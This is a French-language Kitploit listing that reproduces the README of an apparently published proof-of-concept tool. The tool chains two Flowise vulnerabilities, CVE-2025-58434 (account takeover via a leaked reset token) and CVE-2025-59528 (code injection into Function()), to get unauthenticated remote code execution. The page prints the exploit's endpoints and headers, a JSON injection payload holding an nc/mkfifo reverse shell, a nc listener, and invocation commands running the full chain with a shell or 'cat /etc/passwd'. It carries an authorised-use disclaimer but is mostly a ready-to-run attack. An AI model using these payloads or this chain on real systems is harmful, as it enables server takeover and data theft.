Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-58434-AND-59528-POC — Modular PoC pour CVE-2025-58434 (prise de contrôle de compte) et CVE-2025-59528 (RCE) dans Flowise. Automatise la chaîne d'attaque complète, de la fuite de jeton non authentifiée à l'exécution de code à distance via un reverse shell ou une commande personnalisée. | Kitploit
Outils/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubkartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Modular PoC pour CVE-2025-58434 (prise de contrôle de compte) et CVE-2025-59528 (RCE) dans Flowise. Automatise la chaîne d'attaque complète, de la fuite de jeton non authentifiée à l'exécution de code à distance via un reverse shell ou une commande personnalisée.

Voir le dépôt
1910il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC double CVE Flowise — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Uniquement à des fins éducatives et de recherche en sécurité autorisée.
Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.


Table des matières

  • Aperçu
  • Détails des vulnérabilités
    • CVE-2025-58434 — Prise de contrôle de compte
    • CVE-2025-59528 — Exécution de code à distance
  • Chaîne d'attaque complète
  • Versions concernées
  • Structure du dépôt
  • Prérequis
  • Installation
  • Utilisation
    • Comportement par défaut
    • Écran d'aide
    • Mode chaîne
    • Module — ATO
    • Module — Connexion
    • Module — RCE
  • Référence des options
  • Reverse Shell vs commande personnalisée
  • Exemple de sortie
  • Remédiation
  • Chronologie de divulgation
  • Références
  • Avertissement

Aperçu

Ce dépôt combine deux vulnérabilités critiques de Flowise dans un outil PoC modulaire unique.

CVE-2025-58434CVE-2025-59528
TypePrise de contrôle de compteExécution de code à distance
Authentification requiseAucuneOui (n'importe quel compte valide)
CVSS9.8 CritiqueCritique
ConcernéCloud + auto-hébergéAuto-hébergé

Les deux vulnérabilités s'enchaînent naturellement : CVE-2025-58434 permet une prise de contrôle de compte sans authentification, ce qui satisfait l'exigence d'authentification de CVE-2025-59528 — permettant une RCE sans authentification en une seule exécution automatisée.


Détails des vulnérabilités

CVE-2025-58434 — Prise de contrôle de compte

Cause racine : Le point de terminaison forgot-password renvoie le jeton de réinitialisation de mot de passe (tempToken) directement dans le corps de la réponse HTTP au lieu de l'envoyer uniquement par e-mail.

Étapes de l'attaque :

  1. POST /api/v1/account/forgot-password avec n'importe quel e-mail enregistré
  2. Lire tempToken dans la réponse JSON — aucun accès à l'e-mail nécessaire
  3. POST /api/v1/account/reset-password avec le jeton divulgué → définir un nouveau mot de passe
  4. Se connecter en tant que victime

Réponse divulguée (tronquée) :

{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Exécution de code à distance

Cause racine : Le nœud CustomMCP transmet mcpServerConfig fourni par l'utilisateur directement au constructeur Function() de JavaScript sans aucune désinfection. Comme Flowise s'exécute dans Node.js, le code injecté a un accès complet à child_process, fs et à tous les modules intégrés de Node.js.

Chemin de code vulnérable :

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← unsanitized user input

En-têtes requis :

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Charge utile d'injection par défaut (reverse shell) :

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Remarque : Les charges utiles reverse shell utilisent cp.exec() (asynchrone / fire-and-forget) afin que la requête HTTP revienne immédiatement et que l'outil n'expire pas. Les commandes normales utilisent cp.execSync() et renvoient la sortie directement.


Chaîne d'attaque complète

Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

Versions concernées

ComposantStatut
Flowise Cloud (cloud.flowiseai.com)Affecté par CVE-2025-58434
Flowise auto-hébergé (toutes les versions antérieures au correctif)Affecté par les deux CVE

Consultez les avis de sécurité officiels de Flowise pour connaître les numéros de version corrigés.


Structure du dépôt

flowise-dual-cve-poc/
├── flowise_poc.py      # Main PoC — all modules + chain mode
├── requirements.txt    # Python dependencies
├── README.md           # This file
└── DISCLAIMER.md       # Full legal notice

Prérequis

  • Python 3.7+
  • Bibliothèque requests

Installation

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Utilisation

Comportement par défaut

Aucune option de mode n'est requise. Si vous exécutez le script sans --chain ni --module, il se lance automatiquement en mode chaîne complète. La charge utile RCE par défaut est un reverse shell — fournissez simplement --lhost et --lport.

# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Démarrez votre listener avant d'exécuter :

nc -lvnp 4444

Écran d'aide

python3 flowise_poc.py -h

Mode chaîne

Exécute les quatre étapes de bout en bout : fuite du jeton → réinitialisation du mot de passe → connexion → RCE.

# Reverse shell (default payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"
Télécharger l’outil